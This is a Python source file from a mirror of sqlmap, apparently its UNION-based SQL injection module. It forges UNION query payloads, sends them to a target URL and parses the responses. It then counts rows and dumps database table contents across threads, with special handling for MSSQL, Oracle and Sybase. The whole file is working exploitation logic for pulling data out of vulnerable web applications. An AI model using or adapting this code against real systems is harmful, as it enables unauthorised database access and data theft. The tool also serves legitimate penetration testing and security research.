mirror of
https://github.com/sqlmapproject/sqlmap.git
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419 lines
19 KiB
Python
419 lines
19 KiB
Python
#!/usr/bin/env python
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"""
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Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
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See the file 'doc/COPYING' for copying permission
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"""
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import binascii
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import re
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import time
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import xml.etree.ElementTree
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from extra.safe2bin.safe2bin import safecharencode
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from lib.core.agent import agent
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from lib.core.bigarray import BigArray
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from lib.core.common import arrayizeValue
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from lib.core.common import Backend
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from lib.core.common import calculateDeltaSeconds
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from lib.core.common import clearConsoleLine
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from lib.core.common import dataToStdout
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from lib.core.common import extractRegexResult
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from lib.core.common import flattenValue
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from lib.core.common import getConsoleWidth
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from lib.core.common import getPartRun
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from lib.core.common import getUnicode
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from lib.core.common import hashDBRetrieve
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from lib.core.common import hashDBWrite
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from lib.core.common import incrementCounter
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from lib.core.common import initTechnique
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from lib.core.common import isListLike
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from lib.core.common import isNoneValue
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from lib.core.common import isNumPosStrValue
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from lib.core.common import listToStrValue
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from lib.core.common import parseUnionPage
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from lib.core.common import removeReflectiveValues
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from lib.core.common import singleTimeDebugMessage
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from lib.core.common import singleTimeWarnMessage
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from lib.core.common import unArrayizeValue
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from lib.core.common import wasLastResponseDBMSError
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from lib.core.convert import htmlunescape
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.data import queries
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from lib.core.dicts import FROM_DUMMY_TABLE
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from lib.core.enums import DBMS
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from lib.core.enums import PAYLOAD
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from lib.core.exception import SqlmapDataException
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from lib.core.exception import SqlmapSyntaxException
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from lib.core.settings import MAX_BUFFERED_PARTIAL_UNION_LENGTH
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from lib.core.settings import NULL
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from lib.core.settings import SQL_SCALAR_REGEX
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from lib.core.settings import TURN_OFF_RESUME_INFO_LIMIT
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from lib.core.settings import UNICODE_ENCODING
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from lib.core.threads import getCurrentThreadData
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from lib.core.threads import runThreads
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from lib.core.unescaper import unescaper
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from lib.request.connect import Connect as Request
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from lib.utils.progress import ProgressBar
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from thirdparty.odict.odict import OrderedDict
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def _oneShotUnionUse(expression, unpack=True, limited=False):
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retVal = hashDBRetrieve("%s%s" % (conf.hexConvert or False, expression), checkConf=True) # as UNION data is stored raw unconverted
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threadData = getCurrentThreadData()
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threadData.resumed = retVal is not None
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if retVal is None:
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vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
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if not kb.rowXmlMode:
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injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
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kb.unionDuplicates = vector[7]
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kb.forcePartialUnion = vector[8]
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query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited)
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where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6]
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else:
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where = vector[6]
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query = agent.forgeUnionQuery(expression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False)
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payload = agent.payload(newValue=query, where=where)
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# Perform the request
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page, headers = Request.queryPage(payload, content=True, raise404=False)
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incrementCounter(PAYLOAD.TECHNIQUE.UNION)
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if not kb.rowXmlMode:
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# Parse the returned page to get the exact UNION-based
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# SQL injection output
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def _(regex):
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return reduce(lambda x, y: x if x is not None else y, (\
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extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \
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extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \
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if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \
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None)
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# Automatically patching last char trimming cases
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if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""):
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warnMsg = "automatically patching output having last char trimmed"
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singleTimeWarnMessage(warnMsg)
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page = page.replace(kb.chars.stop[:-1], kb.chars.stop)
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retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop))
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else:
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output = extractRegexResult(r"(?P<result>(<row.+?/>)+)", page)
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if output:
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try:
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root = xml.etree.ElementTree.fromstring("<root>%s</root>" % output.encode(UNICODE_ENCODING))
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retVal = ""
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for column in kb.dumpColumns:
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base64 = True
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for child in root:
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value = child.attrib.get(column, "").strip()
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if value and not re.match(r"\A[a-zA-Z0-9+/]+={0,2}\Z", value):
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base64 = False
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break
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try:
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value.decode("base64")
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except binascii.Error:
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base64 = False
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break
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if base64:
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for child in root:
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child.attrib[column] = child.attrib.get(column, "").decode("base64") or NULL
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for child in root:
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row = []
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for column in kb.dumpColumns:
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row.append(child.attrib.get(column, NULL))
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retVal += "%s%s%s" % (kb.chars.start, kb.chars.delimiter.join(row), kb.chars.stop)
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except:
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pass
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else:
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retVal = getUnicode(retVal)
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if retVal is not None:
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retVal = getUnicode(retVal, kb.pageEncoding)
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# Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection
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if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError():
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retVal = htmlunescape(retVal).replace("<br>", "\n")
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hashDBWrite("%s%s" % (conf.hexConvert or False, expression), retVal)
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elif not kb.rowXmlMode:
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trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start))
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if trimmed:
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warnMsg = "possible server trimmed output detected "
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warnMsg += "(probably due to its length and/or content): "
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warnMsg += safecharencode(trimmed)
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logger.warn(warnMsg)
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else:
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vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
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kb.unionDuplicates = vector[7]
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return retVal
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def configUnion(char=None, columns=None):
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def _configUnionChar(char):
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if not isinstance(char, basestring):
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return
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kb.uChar = char
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if conf.uChar is not None:
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kb.uChar = char.replace("[CHAR]", conf.uChar if conf.uChar.isdigit() else "'%s'" % conf.uChar.strip("'"))
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def _configUnionCols(columns):
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if not isinstance(columns, basestring):
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return
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columns = columns.replace(" ", "")
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if "-" in columns:
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colsStart, colsStop = columns.split("-")
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else:
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colsStart, colsStop = columns, columns
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if not colsStart.isdigit() or not colsStop.isdigit():
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raise SqlmapSyntaxException("--union-cols must be a range of integers")
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conf.uColsStart, conf.uColsStop = int(colsStart), int(colsStop)
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if conf.uColsStart > conf.uColsStop:
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errMsg = "--union-cols range has to be from lower to "
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errMsg += "higher number of columns"
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raise SqlmapSyntaxException(errMsg)
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_configUnionChar(char)
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_configUnionCols(conf.uCols or columns)
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def unionUse(expression, unpack=True, dump=False):
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"""
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This function tests for an UNION SQL injection on the target
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URL then call its subsidiary function to effectively perform an
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UNION SQL injection on the affected URL
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"""
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initTechnique(PAYLOAD.TECHNIQUE.UNION)
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abortedFlag = False
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count = None
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origExpr = expression
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startLimit = 0
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stopLimit = None
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value = None
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width = getConsoleWidth()
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start = time.time()
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_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr)
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# Set kb.partRun in case the engine is called from the API
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kb.partRun = getPartRun(alias=False) if conf.api else None
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if Backend.isDbms(DBMS.MSSQL) and kb.dumpColumns:
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kb.rowXmlMode = True
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_ = "(%s FOR XML RAW, BINARY BASE64)" % expression
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output = _oneShotUnionUse(_, False)
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value = parseUnionPage(output)
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kb.rowXmlMode = False
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if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper():
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# Removed ORDER BY clause because UNION does not play well with it
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expression = re.sub("(?i)\s*ORDER BY\s+[\w,]+", "", expression)
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debugMsg = "stripping ORDER BY clause from statement because "
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debugMsg += "it does not play well with UNION query SQL injection"
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singleTimeDebugMessage(debugMsg)
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# We have to check if the SQL query might return multiple entries
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# if the technique is partial UNION query and in such case forge the
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# SQL limiting the query output one entry at a time
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# NOTE: we assume that only queries that get data from a table can
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# return multiple entries
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if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \
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kb.forcePartialUnion or \
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(dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and \
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" FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
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not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE \
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and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
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and not re.search(SQL_SCALAR_REGEX, expression, re.I):
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expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)
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if limitCond:
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# Count the number of SQL query entries output
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countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1)
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if " ORDER BY " in countedExpression.upper():
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_ = countedExpression.upper().rindex(" ORDER BY ")
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countedExpression = countedExpression[:_]
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output = _oneShotUnionUse(countedExpression, unpack)
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count = unArrayizeValue(parseUnionPage(output))
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if isNumPosStrValue(count):
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if isinstance(stopLimit, int) and stopLimit > 0:
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stopLimit = min(int(count), int(stopLimit))
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else:
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stopLimit = int(count)
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infoMsg = "the SQL query used returns "
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infoMsg += "%d entries" % stopLimit
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logger.info(infoMsg)
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elif count and (not isinstance(count, basestring) or not count.isdigit()):
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warnMsg = "it was not possible to count the number "
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warnMsg += "of entries for the SQL query provided. "
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warnMsg += "sqlmap will assume that it returns only "
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warnMsg += "one entry"
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logger.warn(warnMsg)
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stopLimit = 1
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elif (not count or int(count) == 0):
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if not count:
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warnMsg = "the SQL query provided does not "
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warnMsg += "return any output"
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logger.warn(warnMsg)
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else:
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value = [] # for empty tables
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return value
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threadData = getCurrentThreadData()
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try:
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threadData.shared.limits = iter(xrange(startLimit, stopLimit))
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except OverflowError:
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errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit)
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errMsg += "with switch '--fresh-queries'"
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raise SqlmapDataException(errMsg)
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numThreads = min(conf.threads, (stopLimit - startLimit))
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threadData.shared.value = BigArray()
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threadData.shared.buffered = []
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threadData.shared.counter = 0
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threadData.shared.lastFlushed = startLimit - 1
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threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1
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if threadData.shared.showEta:
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threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit))
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if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
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kb.suppressResumeInfo = True
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debugMsg = "suppressing possible resume console info because of "
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debugMsg += "large number of rows. It might take too long"
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logger.debug(debugMsg)
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try:
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def unionThread():
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threadData = getCurrentThreadData()
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while kb.threadContinue:
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with kb.locks.limit:
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try:
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valueStart = time.time()
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threadData.shared.counter += 1
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num = threadData.shared.limits.next()
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except StopIteration:
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break
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if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
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field = expressionFieldsList[0]
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elif Backend.isDbms(DBMS.ORACLE):
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field = expressionFieldsList
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else:
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field = None
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limitedExpr = agent.limitQuery(num, expression, field)
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output = _oneShotUnionUse(limitedExpr, unpack, True)
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if not kb.threadContinue:
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break
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if output:
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with kb.locks.value:
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if all(_ in output for _ in (kb.chars.start, kb.chars.stop)):
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items = parseUnionPage(output)
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if threadData.shared.showEta:
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threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter)
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if isListLike(items):
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# in case that we requested N columns and we get M!=N then we have to filter a bit
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if len(items) > 1 and len(expressionFieldsList) > 1:
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items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)]
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items = [_ for _ in flattenValue(items)]
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if len(items) > len(expressionFieldsList):
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filtered = OrderedDict()
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for item in items:
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key = re.sub(r"[^A-Za-z0-9]", "", item).lower()
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if key not in filtered or re.search(r"[^A-Za-z0-9]", item):
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filtered[key] = item
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items = filtered.values()
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items = [items]
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index = None
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for index in xrange(1 + len(threadData.shared.buffered)):
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if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num:
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break
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threadData.shared.buffered.insert(index or 0, (num, items))
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else:
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index = None
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if threadData.shared.showEta:
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threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter)
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for index in xrange(1 + len(threadData.shared.buffered)):
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if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num:
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break
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threadData.shared.buffered.insert(index or 0, (num, None))
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items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter)
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while threadData.shared.buffered and (threadData.shared.lastFlushed + 1 >= threadData.shared.buffered[0][0] or len(threadData.shared.buffered) > MAX_BUFFERED_PARTIAL_UNION_LENGTH):
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threadData.shared.lastFlushed, _ = threadData.shared.buffered[0]
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if not isNoneValue(_):
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threadData.shared.value.extend(arrayizeValue(_))
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del threadData.shared.buffered[0]
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if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta:
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_ = ','.join("\"%s\"" % _ for _ in flattenValue(arrayizeValue(items))) if not isinstance(items, basestring) else items
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status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", _ if kb.safeCharEncode else safecharencode(_))
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if len(status) > width:
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status = "%s..." % status[:width - 3]
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dataToStdout("%s\n" % status)
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runThreads(numThreads, unionThread)
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if conf.verbose == 1:
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clearConsoleLine(True)
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except KeyboardInterrupt:
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abortedFlag = True
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warnMsg = "user aborted during enumeration. sqlmap "
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warnMsg += "will display partial output"
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logger.warn(warnMsg)
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finally:
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for _ in sorted(threadData.shared.buffered):
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if not isNoneValue(_[1]):
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threadData.shared.value.extend(arrayizeValue(_[1]))
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value = threadData.shared.value
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kb.suppressResumeInfo = False
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if not value and not abortedFlag:
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output = _oneShotUnionUse(expression, unpack)
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value = parseUnionPage(output)
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duration = calculateDeltaSeconds(start)
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if not kb.bruteMode:
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debugMsg = "performed %d queries in %.2f seconds" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], duration)
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logger.debug(debugMsg)
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return value
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